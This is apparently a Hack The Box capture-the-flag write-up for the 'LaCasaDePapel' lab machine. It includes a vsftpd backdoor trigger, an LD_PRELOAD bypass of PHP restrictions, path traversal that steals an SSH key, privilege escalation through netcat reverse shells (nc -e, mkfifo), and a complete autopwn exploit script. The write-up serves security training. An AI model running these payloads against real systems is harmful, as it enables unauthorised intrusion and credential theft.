LaCasaDePapel write-up
Ανάλυση του LaCasaDePapel
Enumeration
Port scanning
Let’s scan the full range of TCP and UDP ports using my tool htbscan.py (you can find it here: https://github.com/Alamot/code-snippets/blob/master/enum/htbscan.py)
$ sudo htbscan.py 10.10.10.131
Running command: sudo masscan -e tun0 -p1-65535,U:1-65535 --max-rate 500 --interactive 10.10.10.131
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-26 19:11:26 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.131
Discovered open port 443/tcp on 10.10.10.131
Discovered open port 22/tcp on 10.10.10.131
Discovered open port 22/tcp on 10.10.10.131
Discovered open port 21/tcp on 10.10.10.131
Running command: sudo nmap -A -p21,22,80,443 10.10.10.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-26 22:19 EEST
Nmap scan report for lacasadepapel.htb (10.10.10.131)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
| 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open ssl/http Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after: 2029-01-24T08:35:30
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
| http/1.1
|_ http/1.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 3.18 (94%), Linux 3.8 - 3.11 (94%), Linux 4.4 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Unix
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 65.20 ms 10.10.12.1
2 65.21 ms lacasadepapel.htb (10.10.10.131)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.85 seconds
Exploiting vsftpd 2.3.4
We observe that the machine runs vsftpd on port 21. Version 2.3.4 of vsftpd is very infamous. Read this: https://en.wikipedia.org/wiki/Vsftpd#History
In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. Users logging into a compromised vsftpd-2.3.4 server may issue a “:)” smileyface as the username -or any username ending with a smiley “:)“- and gain a command shell on port 6200. This was not an issue of a security hole in vsftpd, instead, an unknown attacker had uploaded a different version of vsftpd which contained a backdoor.
Let’s search exploits for this:
$ searchsploit vsftpd 2.3.4 -w
|--------------------------------------------------------|
| Exploit Title |
|--------------------------------------------------------|
| vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) |
|--------------------------------------------------------|
Well, no need for metasploit. We can use telnet or nc to activate the backdoor:
$ nc -v 10.10.10.131 21
Connection to 10.10.10.131 21 port [tcp/ftp] succeeded!
220 (vsFTPd 2.3.4)
USER whatever:)
331 Please specify the password.
PASS whatever
^C
Just as simple as that the backdoor has been activated. Now, let’s try to connect to port 6200:
$ nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
Getting dali shell by escaping PHP restrictions
Well, a nice twist! It seems we have access to something called “Psy Shell”. This is a runtime developer console, interactive debugger and REPL for PHP. This means we can execute PHP code. Neat! But wait… Some very useful PHP functions have been disabled:
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
Disable Functions: exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
But, as you can imagine, there are many ways to bypass this kind of restrictions. I used a tool called Chankro (https://github.com/TarlogicSecurity/Chankro). PHP in Linux calls a binary (sendmail) when the mail() function is executed. If we have putenv() allowed, we can set the environment variable “LD_PRELOAD”, so we can preload an arbitrary shared object. Our shared object will execute our custom payload (a binary or a bash script) without the PHP restrictions, so we can have a reverse shell, for example. The main idea is this:
file_put_contents('/tmp/chankro.so', base64_decode('base64-encoded chankro.so'));
file_put_contents('/tmp/acpid.socket', base64_decode('base64-encoded shell payload'));
putenv('CHANKRO=/tmp/acpid.socket');
putenv('LD_PRELOAD=/tmp/chankro.so');
mail('a','a','a','a');
In reality, I used python (see my autopwn script) to help us automate the upload of files. Because the content of chankro.so is too big for an one-liner command, I had to break it in smallers chunks.
$ ./autopwn_lacasadepapel.py
[*] Attempting to trigger backdoor...
[+] Opening connection to 10.10.10.131 on port 21: Done
[*] Triggered backdoor
[+] Opening connection to 10.10.10.131 on port 6200: Done
[+] Trying to bind to 0.0.0.0 on port 60000: Done
[+] Waiting for connections on 0.0.0.0:60000: Got connection from 10.10.10.131 on port 36005
[*] Switching to interactive mode
$ whoami
dali
Getting professor shell by exploiting port 8000
Nice! Now we have a normal shell as user ‘dali’. Let’s enumerate a little:
$ netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6200 0.0.0.0:* LISTEN -
tcp 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.1:11211 0.0.0.0:* -
There are some interesting ports (8000 and 11211) listening only locally. Let’s explore 8000 for now:
$ curl http://127.0.0.1:8000
<li><a href="?path=SEASON-1">SEASON-1</a></li><li><a href="?path=SEASON-2">SEASON-2</a></li><li><strong>Select a season</strong></li>
$ curl http://127.0.0.1:8000?path=SEASON-1
<li><a href="/file/U0VBU09OLTEvMDEuYXZp">01.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDIuYXZp">02.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDMuYXZp">03.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDQuYXZp">04.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDUuYXZp">05.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDYuYXZp">06.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDcuYXZp">07.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDguYXZp">08.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDkuYXZp">09.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTAuYXZp">10.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTEuYXZp">11.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTIuYXZp">12.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTMuYXZp">13.avi</a></li>
<li><strong>Donwload a video</strong></li>
Well, well, what we have here? These filenames in the links seem like base64 encoding. Let’s test one:
$ echo U0VBU09OLTEvMDUuYXZp | base64 -d
SEASON-1/05.avi
Bingo! WHAT IF we encode a path/filename we want to grab to base64 encoding and hit the relevant URL with curl?
$ echo -ne /etc/passwd | base64
L2V0Yy9wYXNzd2Q=
$ curl http://127.0.0.1:8000/file/L2V0Yy9wYXNzd2Q=
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: ENOENT: no such file or directory, open '/home/berlin/downloads//etc/passwd'<br> at Object.fs.openSync (fs.js:646:18)<br> at Object.fs.readFileSync (fs.js:551:33)<br> at /home/berlin/server.js:32:15<br> at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)<br> at next (/home/berlin/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/home/berlin/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)<br> at /home/berlin/node_modules/express/lib/router/index.js:281:22<br> at param (/home/berlin/node_modules/express/lib/router/index.js:354:14)<br> at param (/home/berlin/node_modules/express/lib/router/index.js:365:14)</pre>
</body>
</html>
Hmmm…. We see this “/home/berlin/downloads//etc/passwd” in the output. Perfect! All we need it’s some directory/path traversal:
$ echo -ne ../../../etc/passwd | base64
Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
$ curl http://127.0.0.1:8000/file/Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
root:x:0:0:root:/root:/bin/ash
...
dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh
berlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ash
professor:x:1002:1002:professor,,,:/home/professor:/bin/ash
vsftp:x:101:21:vsftp:/var/lib/ftp:/sbin/nologin
memcached:x:102:102:memcached:/home/memcached:/sbin/nologin
Yes baby! It worked! Let’s grab user.txt:
$ echo -ne ../user.txt | base64
Li4vdXNlci50eHQ=
$ curl http://127.0.0.1:8000/file/Li4vdXNlci50eHQ=
4dcbd172****************48d9062d
We can also grab berlin’s key:
$ echo -ne ../.ssh/id_rsa | base64
Li4vLnNzaC9pZF9yc2E=
$ curl http://127.0.0.1:8000/file/Li4vLnNzaC9pZF9yc2E=
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
...
X3a0iF5JE3kAAAAYYmVybGluQGxhY2FzYWRlcGFwZWwuaHRiAQID
-----END OPENSSH PRIVATE KEY-----
Here, we reached the point that confused many many people. Many folks were trying to use berlin’s private key to connect via ssh as berlin@10.10.10.131. And they were utterly confused why this didn’t work but instead one could connect as professor@10.10.10.131.
Let’s try to clear things up. A user can produce as many pairs of private-public keys he wants. All those keys are completely useless until they are deployed in a very specific way. For ssh authentication this means we have to put the public key of a pair inside a very specific file i.e. the ~/.ssh/authorized_keys of ANY user. Then we can login as the specific user using the private key of that pair. Moreover for security reasons, nowadays, both the private key and the ~/.ssh/authorized_keys files are required to have strict permissions (chmod 600).
Think the private key as a real key, the public key as a keyhole/lock and the ~/.ssh/authorized_keys as a door. We have to put the keyhole/lock to a door. And our key can unlock only a door that has the respective keyhole/lock.
Now, you tell me that one could expect berlin’s key to open berlin’s door. Well, you have a point… but… no really. In practice, very often, users do produce key pairs in order to connect to some other accounts.
$ ssh -i berlin_id_rsa professor@10.10.10.131
_ ____ ____ ____ _
| | __ _ / ___|__ _ ___ __ _ | _ \ ___ | _ \ __ _ _ __ ___| |
| | / _` | | | / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| | __/ | __/ (_| | |_) | __/ |
|_____\__,_| \____\__,_|___/\__,_| |____/ \___| |_| \__,_| .__/ \___|_|
|_|
lacasadepapel [~]$
Getting root by exploiting memcached
Let’s list the files in professor’s home directory:
lacasadepapel [~]$ ls -al
total 24
drwxr-sr-x 4 professo professo 4096 Mar 6 20:56 .
drwxr-xr-x 7 root root 4096 Feb 16 18:06 ..
lrwxrwxrwx 1 root professo 9 Nov 6 2018 .ash_history -> /dev/null
drwx------ 2 professo professo 4096 Jan 31 21:36 .ssh
-rw-r--r-- 1 root root 88 Jan 29 01:25 memcached.ini
-rw-r----- 1 root nobody 434 Jan 29 01:24 memcached.js
drwxr-sr-x 9 root professo 4096 Jan 29 01:31 node_modules
Those memcached files seem very interesting. Let’s explore more:
lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
cat memcached.js
cat: can't open 'memcached.js': Permission denied
It seems like inside memcached.ini there is a setting for a command to be executed. But we don’t have permission to write/edit this file. Well, we don’t really need it! We can delete/move the file and write a new one in its place. You see, to delete a file in Unix, all we need is write permission for the direct parent directory (i.e. professor’s home folder) and execute permission for all parent directories.
lacasadepapel [~]$ ls -ld /home/professor
ls -ld /home/professor
drwxr-sr-x 4 professo professo 4096 Mar 6 20:56 /home/professor
lacasadepapel [~]$ ls -ld /home
drwxr-xr-x 7 root root 4096 Feb 16 18:06 /home
Let’s get our shell:
lacasadepapel [~]$ mv -f /home/professor/memcached.ini /home/professor/memcached.ini.orig
lacasadepapel [~]$ printf '[program:memcached]\ncommand = sudo -u root /usr/bin/nc LHOST 60002 -e /bin/sh\n' > /home/professor/memcached.ini
Don’t forget to setup the listerener on your side:
$ nc -lvp 60002
Listening on [0.0.0.0] (family 0, port 60002)
Connection from lacasadepapel.htb 46245 received!
$ whoami
root
Here is my autopwn script (you need also hook64.so):
#!/usr/bin/env python2
# Author: Alamot
import os
import time
import fcntl
import base64
from pwn import *
def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15].encode())
)[20:24])
LHOST = get_ip_address("tun0")
LPORT1 = 60000
LPORT2 = 60001
RHOST = "10.10.10.131"
RPORT = 6200
FTP_PORT = 21
BUF_SIZE = 500
TIMEOUT = 60
SSH_BIN_LOCAL_PATH = "/usr/bin/ssh"
CHANKRO_HOOK64_FILE = "hook64.so"
REMOTE_PATH = "/tmp/"
REV_SHELL = "/usr/bin/nc " + LHOST + " " + str(LPORT1) + " -e /bin/sh"
#This works too: REV_SHELL = "#!/bin/bash\nrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc " + LHOST + " " + str(LPORT1) + " >/tmp/f"
print("What shell do you want?")
print("[1] dali@lacasadepapel")
print("[2] professor@lacasadepapel")
print("[3] root@lacasadepapel")
print("[4] Exit")
response = None
while response not in ["1", "2", "3", "4"]:
response = raw_input("Please enter a number 1-4: ").strip()
if response == "4":
sys.exit()
try:
log.info("Attempting to trigger backdoor ...")
ftp_conn = remote(RHOST, FTP_PORT)
# Attempt to login to trigger backdoor
ftp_conn.sendline("USER letmein:)")
ftp_conn.sendline("PASS please")
log.info("Triggered backdoor")
except Exception:
log.error("Failed to trigger backdoor.")
time.sleep(1)
try:
r = remote(RHOST, str(RPORT))
except Exception:
log.error("Failed to connect to " + str(RHOST) + ":" + str(RPORT))
r.recvuntil("Justin Hileman")
log.info("Uploading chankro.so ...")
r.sendline("$myfile = fopen('" + REMOTE_PATH + "chankro.so', 'w');")
with open(CHANKRO_HOOK64_FILE, "rb") as f:
while True:
data = f.read(BUF_SIZE)
if not data:
break
b64data = base64.b64encode(data)
r.sendline("fwrite($myfile, base64_decode('" + b64data + "'));")
r.sendline("fclose($myfile);")
log.info("Uploading shell payload ...")
r.sendline("file_put_contents('" + REMOTE_PATH +
"acpid.socket', base64_decode('" + base64.b64encode(REV_SHELL) + "'));")
log.info("Bypassing PHP restrictions ...")
r.sendline("putenv('CHANKRO=" + REMOTE_PATH + "acpid.socket');")
r.sendline("putenv('LD_PRELOAD=" + REMOTE_PATH + "chankro.so');")
r.sendline("mail('a','a','a','a');")
dali_shell = listen(LPORT1, timeout=TIMEOUT).wait_for_connection()
if response == "1":
dali_shell.sendline("whoami")
dali_shell.interactive()
sys.exit()
log.info("Getting berlin's private key ...")
dali_shell.sendline("curl -s http://127.0.0.1:8000/file/Li4vLnNzaC9pZF9yc2E=")
dali_shell.recvuntil("-----BEGIN OPENSSH PRIVATE KEY-----")
id_rsa_data = dali_shell.recvuntil("-----END OPENSSH PRIVATE KEY-----")
id_rsa_key = "-----BEGIN OPENSSH PRIVATE KEY-----" + id_rsa_data + "\n"
with open("berlin_id_rsa", "wt") as f:
f.write(id_rsa_key)
os.chmod("berlin_id_rsa", 0o600)
log.info("Login via SSH as professor ...")
# We use an ssh process to connect because pwntools ssh tube uses the paramiko module (which is incompatible with our private key format).
professor_shell = process([SSH_BIN_LOCAL_PATH, "-tt", "-i", "berlin_id_rsa", "professor@"+RHOST], stdin=PTY)
time.sleep(1)
if response == "2":
professor_shell.sendline("whoami")
professor_shell.interactive()
sys.exit()
log.info("Escalating to root via memcached.ini ...")
professor_shell.sendline("mv -f /home/professor/memcached.ini /home/professor/memcached.ini.orig")
professor_shell.sendline("printf '[program:memcached]\ncommand = sudo -u root /usr/bin/nc " + LHOST + " " + str(LPORT2) + " -e /bin/sh\n' > /home/professor/memcached.ini")
root_shell = listen(LPORT2, timeout=TIMEOUT).wait_for_connection()
root_shell.sendline("whoami")
root_shell.interactive()
'''
$ ./autopwn_lacasadepapel.py
What shell do you want?
[1] dali@lacasadepapel
[2] professor@lacasadepapel
[3] root@lacasadepapel
[4] Exit
Please enter a number 1-4: 3
[*] Attempting to trigger backdoor ...
[+] Opening connection to 10.10.10.131 on port 21: Done
[*] Triggered backdoor
[+] Opening connection to 10.10.10.131 on port 6200: Done
[*] Uploading chankro.so ...
[*] Uploading shell payload ...
[*] Bypassing PHP restrictions ...
[+] Trying to bind to 0.0.0.0 on port 60000: Done
[+] Waiting for connections on 0.0.0.0:60000: Got connection from 10.10.10.131 on port 38127
[*] Getting berlin's private key ...
[*] Login via SSH as professor ...
[+] Starting local process '/usr/bin/ssh': pid 17044
[*] Escalating to root via memcached.ini ...
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.131 on port 41479
[*] Switching to interactive mode
root
$
'''
Alternative long path: Gettings berlin’s key via the web
If we visit http://10.10.10.131/ we are presented with an one-time password challenge (google authenticator). You don’t have to scan the QR code. Just view the source code:
view-source:http://10.10.10.131/
...
<form method="POST"><input type="image" src="/qrcode?qrurl=otpauth%3A%2F%2Fhotp%2FToken%3Fsecret%3DO5IXUTDLJBPEMZDDJ54HUNTVERPHSWTB%26algorithm%3DSHA1" readonly="readonly" onclick="return false"><input name="secret" type="hidden" value="O5IXUTDLJBPEMZDDJ54HUNTVERPHSWTB"><input name="token" type="text" placeholder="ONE PASSWORD" autocomplete="off">
...
The value=“O5IXUTDLJBPEMZDDJ54HUNTVERPHSWTB” is the secret (it changes every time). We can use Python to get the 6-digit password:
$ python
>>> import pyotp
>>> hotp = pyotp.HOTP("O5IXUTDLJBPEMZDDJ54HUNTVERPHSWTB")
>>> password = hotp.at(0)
>>> print(password)
399636
Upon successful login we see a message “TO CONTINUE please check your inbox”.
We can enumerate the box a little using the initial php shell. For example, to list the contents of a folder:
$ nc -v 10.10.10.131 6200
Connection to 10.10.10.131 6200 port [tcp/*] succeeded!
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
$d = dir("/home"); while (false !== ($entry = $d->read())) { echo $entry."\n"; }
.
..
oslo
dali
berlin
nairobi
professor
User oslo has a very interesting folder:
$d = dir("/home/oslo"); while (false !== ($entry = $d->read())) { echo $entry."\n"; }
.
..
Maildir
inbox.jade
server.js
node_modules
static
index.jade
package-lock.json
Inside /home/oslo/Maildir/.Sent/cur we can find the e-mail message we are looking for:
$d = dir("/home/oslo/Maildir/.Sent/cur"); while (false !== ($entry = $d->read())) { echo $entry."\n"; }
.
..
1564220989440.M53839P15118V0000000000075823I00000000071958a.lacasadepapel.htb,S=430,2,S
Let’s read it:
$filepath = "/home/oslo/Maildir/.Sent/cur/1564220989440.M53839P15118V0000000000075823I00000000071958a.lacasadepapel.htb,S=430,2,S"; $myfile = fopen($filepath, "r"); echo fread($myfile,filesize($filepath));
Content-Type: text/plain; format=flowed
From: dali@lacasadepapel.htb
To: a@a.com
Content-Transfer-Encoding: 7bit
Date: Sat, 27 Jul 2019 09:49:49 +0000
Message-Id: <1564220989476-d1c29831-14ba015e-cb7a790f@lacasadepapel.htb>
MIME-Version: 1.0
Welcome to our community!
Thanks for signing up. To continue, please verify your email address by
clicking the url below.
https://lacasadepapel.htb/dfc318f0-b053-11e9-9ce1-638fd7c4c466
If we visit this link (it is unique every time) https://lacasadepapel.htb/dfc318f0-b053-11e9-9ce1-638fd7c4c466, we are presented with a form where we submit a CSR (Certificate Signing Request) and we create a client certificate. We need this client certificate in order to access https://lacasadepapel.htb (this is actually the web site that is listening on 127.0.0.1:8000). There is also a link to download the CA certificate (https://lacasadepapel.htb/get-ca-authority). Download this CA certificate, we are gonna need it in a while. If we use the form we get a network error. Let’s search for a different way to sign our client certificate….
If we enumerate a little more we stumple upon this file:
$filepath = "/home/dali/.config/psysh/tokyo.php"; $myfile = fopen($filepath, "r"); echo fread($myfile,filesize($filepath));
<?php
class Tokyo {
private function sign($caCert,$userCsr) {
$caKey = file_get_contents('/home/nairobi/ca.key');
$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
openssl_x509_export($userCert, $userCertOut);
return $userCertOut;
}
}
Let’s grab this ca.key file:
$filepath = "/home/nairobi/ca.key"; $myfile = fopen($filepath, "r"); echo fread($myfile,filesize($filepath));
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
...
53udBEzjt3WPqYGkkDknVhjD
-----END PRIVATE KEY-----
Now we can create and sign our own client certificate. First, we generate a private key for the client:
$ openssl genrsa -out client.key 4096
Generating RSA private key, 4096 bit long modulus
.............................................................................................++++
.........................................................................++++
e is 65537 (0x10001)
Then we use the client’s private key to generate a certificate request
$ openssl req -new -key client.key -out client.req
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:Someone
Email Address []:someone@somewhere.com
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Now, we sign the client certificate using the two files we downloaded (ca.crt and ca.key):
$ openssl x509 -req -in client.req -CA ca.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
Signature ok
subject=/C=AU/ST=Some-State/O=Internet Widgits Pty Ltd/CN=Someone/emailAddress=someone@somewhere.com
Getting CA Private Key
Finally, we combine the client certificate and private key to a pkcs#12 file which we can import to our browser.
$ openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
Enter Export Password: pass
Verifying - Enter Export Password: pass
Let’s visit https://lacasadepapel.htb. We are being asked to present a certificate to authenticate ourselves. We select the certificate we just imported to our browser and we gain access. From here on, the steps are similar to what we have already discussed for http://127.0.0.1:8000.